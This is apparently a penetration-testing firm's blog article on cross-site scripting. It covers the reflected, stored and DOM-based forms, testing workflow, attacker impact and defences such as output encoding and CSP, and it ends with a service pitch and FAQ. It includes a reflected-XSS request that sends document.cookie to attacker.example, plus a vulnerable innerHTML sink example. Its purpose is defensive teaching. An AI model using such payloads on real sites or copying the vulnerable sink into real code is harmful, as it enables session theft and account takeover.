Cross-Site Scripting (XSS) in 2026: the web bug that refuses to die
Cross-site scripting still lands account takeover in 2026. How reflected, stored, and DOM XSS work, how we test for it, and how to actually fix it.

A comment box on a marketing site handed us an admin account. The reviewer typed a comment. An admin opened the moderation queue to approve it. The JavaScript hiding in that comment ran inside the admin’s browser, cookies and all – no password, no phishing lure, no malware dropped. That is stored cross-site scripting, and in 2026 we still file it as a critical on a lot of the apps we test.
People keep pronouncing XSS dead. Frameworks escape output by default now, browsers ship saner defaults, Content-Security-Policy is everywhere. All true. And cross-site scripting keeps landing on our reports anyway, because a modern app has more places to inject than ever: client-side templates, single-page routers, JSON echoed into a script tag, markdown renderers, and the endless supply of “just this once” innerHTML calls that nobody flagged in review.
What follows is a working pentester’s map of where XSS lives today, how we find it, what it costs when it fires, and which fixes actually hold.
Key takeaways
- Cross-site scripting (CWE-79) lets an attacker run their JavaScript in another user’s browser session, which usually means session theft and account takeover, not a harmless popup.
- Three practical classes: reflected (payload in the request, echoed straight back), stored (payload saved server-side and served to other users), and DOM-based (the sink lives in client-side JavaScript, so the server may never see it).
- The most reliable fix is context-aware output encoding at the point of output, backed by a strict Content-Security-Policy as defense in depth. Input “sanitization” on its own is not enough.
- Automated scanners catch reflected XSS reasonably well but routinely miss DOM XSS and stored XSS that needs a second user or a specific workflow to fire.
- HttpOnly cookies blunt cookie theft but do not stop XSS from acting as the user. It is a mitigation, not a fix.
What is cross-site scripting, and why does it still matter?
Cross-site scripting is a vulnerability where an application takes attacker-controlled data and drops it into a page without keeping data separate from code, so the browser runs it as script. The old OWASP framing still holds: it is a failure to keep untrusted input out of an executable context. It is tracked as CWE-79 and has sat in the OWASP Top 10 for its entire existence, most recently folded under the Injection category (A03).
Why it matters is simpler than the taxonomy. When your script runs in a victim’s browser, you are that user for as long as the page stays open. You read the DOM, fire authenticated requests with their cookies, scrape their data, submit forms as them, and pivot from there. The alert(1) proof-of-concept everyone rolls their eyes at is just a polite way of saying “I can run code here.” The real payload is quiet and never touches the screen.
The reason XSS refuses to die is that the attack surface grew up. Ten years ago most output happened server-side, in one templating language, and if you escaped there you were mostly fine. Today one page might render on the server, hydrate on the client, pull JSON from three APIs, and hand strings to a client-side template engine. Each of those is a separate output context with its own escaping rules. The browser does not care which layer got it wrong.
Reflected, stored, and DOM XSS: what is the difference?
The three classes differ by where the payload lives and how it reaches the victim. That changes how you test and how bad it is.
Reflected XSS
Reflected cross-site scripting fires when the app takes something out of the current request – a query string, a form field, a header – and writes it straight back into the response. Nothing is stored. The attacker has to get the victim to click a crafted link or submit a crafted form. A search page that echoes your query is the textbook case:
GET /search?q=<script>fetch('https://attacker.example/c?'+document.cookie)</script> HTTP/1.1
Host: acme-corp.example
If the term comes back unescaped inside the HTML body, it runs. Reflected XSS gets waved off as low severity because it needs a click. Pair it with a believable pretext or a same-site redirect and it takes over accounts just fine.
Stored XSS
Stored cross-site scripting is the one that keeps me up on client engagements. The payload gets saved on the server – a comment, a profile bio, a support ticket, a filename, a device name that lands in an admin dashboard – and served to whoever views it next. The victim clicks nothing. They load the page. Stored XSS in a shared context like an admin panel or a team feed is effectively wormable, and it earns a critical on our reports almost every time.
The ugly cases are low-privilege attacker, high-privilege victim. You submit the payload as a customer. An internal user opens your record to help you. Now your code runs in a privileged session. We have found exactly this in ticketing systems, IoT device-management consoles, and CRM note fields more times than I can count.
DOM-based XSS
DOM XSS is where the whole vulnerable data flow stays in client-side JavaScript. The server can send a spotless response, but a script on the page reads from a source the attacker controls – location.hash, location.search, document.referrer, a postMessage – and feeds it to a dangerous sink like innerHTML, document.write, eval, or a framework’s raw-HTML binding. Because the payload may never hit the server, your server logs and your WAF never see it.
// Vulnerable pattern we still find in SPAs
const tab = decodeURIComponent(location.hash.slice(1));
document.querySelector('#panel').innerHTML = tab;
// Request: https://app.acme-corp.example/#<img src=x>
DOM XSS got more common as apps shoved logic to the client, and it is the class scanners miss most. Finding it means understanding the JavaScript data flow, not diffing two responses.
How do we test for cross-site scripting?
We start by mapping every place user input can reach a response or the DOM, then test each one in its actual output context. Context is everything with XSS. A payload that fires inside an HTML body does nothing inside a JavaScript string or an HTML attribute, and the reverse holds too. Breaking out of the context is half the job.
The workflow, concretely. We proxy the app through Burp Suite and walk it as a normal user, cataloguing parameters, headers, and JSON fields. Then we seed a unique canary that will never appear naturally – something like cxpl0it7 – through every input, and grep the raw response and the rendered DOM for where it lands and how it got encoded:
curl -s 'https://acme-corp.example/search?q=cxpl0it7' | grep -n cxpl0it7
Where the canary reflects, we probe that specific spot: do angle brackets survive, do quotes survive, is it inside a <script> block, an attribute value, a URL, an event handler? The answer dictates the break-out payload. Reflect inside a double-quoted attribute and you need "> before your tag; reflect inside an existing script string and you are closing a quote and a statement, not opening a tag.
For DOM XSS we lean on the browser. Burp’s DOM Invader is genuinely good at tracing sources to sinks in messy single-page apps, and it flags innerHTML and eval flows a scanner walks right past. We also read the JavaScript. When an app hands untrusted data to a template engine or a raw-HTML binding, that one line is worth more than a hundred blind payloads.
Automated tooling earns its place on breadth. We run nuclei templates and Burp’s active scanner to sweep the obvious reflected cases fast. But the criticals come from a human: the stored payload that only fires in the admin queue, the DOM flow behind a feature flag, the mutation XSS that only triggers after the browser re-parses supposedly sanitized HTML. Scanners do not model a second victim user or a five-step workflow. That gap is where the real bugs sit.
One opinion I hold hard: “we sanitize input” is not an answer I accept on a call. Sanitizing on the way in breaks the moment the data lands in a context the sanitizer never anticipated, and it is brittle against mutation and double-decoding. The question is where and how you encode on output.
What does XSS actually let an attacker do?
Running code as the victim, and the outcome we demonstrate most is account takeover. If session tokens sit in a cookie without HttpOnly, or in localStorage, the script reads them and ships them out. Set HttpOnly and the script still acts as the user: it makes same-origin authenticated requests, so it changes the account email, adds an API key, disables MFA through the settings endpoint, or approves its own pending request. HttpOnly stops theft of the token. It does not stop abuse of the session.
Past one account, XSS is a foothold. Stored XSS in an admin interface can seed a self-propagating payload or quietly exfiltrate other users’ data at scale. We have chained it with weak CSRF defenses and with server-side bugs to walk from “run script in a browser” to full application compromise. On external-facing apps a good XSS is a credible initial-access vector; on internal apps it is straightforward credential and session abuse.
Rating XSS “medium because it needs a click” is a mistake we see in a lot of prior reports. Severity depends on who the victim is and what that session can do. Stored XSS hitting an admin is a critical, full stop.
How do you prevent cross-site scripting?
The primary fix is context-aware output encoding, applied the moment data is written into a page, by a mechanism that knows the context. Encode for HTML body, HTML attribute, JavaScript, URL, and CSS differently, because the rules genuinely differ. Modern frameworks do most of this for you: React, Angular, and Vue escape interpolated values by default. The bugs cluster in the escape hatches – dangerouslySetInnerHTML, Angular’s bypassSecurityTrustHtml, v-html, any hand-rolled innerHTML. Treat every one as a line that has to be justified in review.
Have to render user-supplied HTML for a rich-text field or a markdown comment? Do not write your own sanitizer. Use a maintained, well-tested library like DOMPurify with a conservative allowlist, and run it as close to the sink as you can. A hand-rolled blocklist against <script> is a losing game; attackers have decades of mutation and encoding tricks and you have an afternoon.
Content-Security-Policy is your second line, and a strong one. A strict, nonce-based CSP that drops inline script and blocks unknown script origins turns a lot of XSS bugs from “account takeover” into “no execution.” It does not replace encoding – CSP gets misconfigured, bypassed through an allowlisted CDN, or sidestepped by injection that needs no script at all – but a tight policy has saved apps we have tested from otherwise-exploitable flaws. Pair it with HttpOnly, Secure, and SameSite cookie flags, and with the Trusted Types API on browsers that support it to lock down DOM sinks directly.
Content-Security-Policy: default-src 'self';
script-src 'self' 'nonce-r4nd0mPerRequest';
object-src 'none';
base-uri 'none';
require-trusted-types-for 'script';
The layered picture is short. Encode on output so the bug never exists. Sanitize any rich HTML with a real library. Deploy a strict CSP and hardened cookies so the one you miss does the least possible damage.
How CyberXplore helps
Finding the XSS that matters – the stored payload that only fires for an admin, the DOM flow buried in a single-page app, the mutation bug that slips past your sanitizer – takes a human who tests every input in its real output context and thinks about a second victim. That is the core of our web application penetration testing service. We map your full input surface, test reflected, stored, and DOM-based cross-site scripting by hand alongside the rest of the OWASP-aligned checklist, and we prove impact with a safe proof-of-concept so your team sees exactly what a real attacker would get. Every finding ships with the specific context, the payload, and the encoding or CSP change that closes it.
Want XSS and the rest of your web attack surface tested by people who do this every week? Get a quote and we will scope it with you.
FAQ
Is cross-site scripting still a serious risk in 2026?
Yes. Auto-escaping frameworks have cut the volume of trivial reflected XSS, but stored and DOM-based cross-site scripting are still among the most common critical findings on modern web app tests. The attack surface moved to the client and to raw-HTML escape hatches, and that is exactly where we keep finding it.
Does a Content-Security-Policy make my app immune to XSS?
No, and treating it that way is a mistake. A strict nonce-based CSP is excellent defense in depth and neutralizes many payloads, but it can be misconfigured, bypassed via an allowlisted script source, or sidestepped by injection that does not rely on executing script. Use CSP alongside output encoding, never instead of it.
Will HttpOnly cookies stop XSS?
They stop the script from reading the session cookie directly, which blocks the simplest token theft. They do not stop the script from making authenticated requests as the user, so an attacker can still change account settings, add API keys, or disable MFA through the app itself. HttpOnly is a valuable mitigation, not a fix for the underlying bug.
Can automated scanners find all of my XSS?
They find some of it. Scanners handle straightforward reflected XSS well, but they routinely miss DOM-based flows that require reading the JavaScript, and stored XSS that only fires for a second user or after a multi-step workflow. Those are the high-severity cases, and they need a human tester to model the victim and the context.
What is the difference between input validation and output encoding for XSS?
Input validation checks data as it arrives and can reject obviously bad values, which helps but is not enough, because the same data can be safe in one context and dangerous in another. Output encoding transforms data at the moment it is written into a page, based on that specific context, so it cannot be read as code. Output encoding is the primary defense; validation is a supporting control.
How often should we test for cross-site scripting?
Test at least annually and after any significant change to how the app renders user input – a new rich-text feature, a framework upgrade, a new client-side view. Continuous scanning catches regressions in the obvious cases, but a manual web application penetration test on a regular cadence is what surfaces the stored and DOM XSS scanners miss.



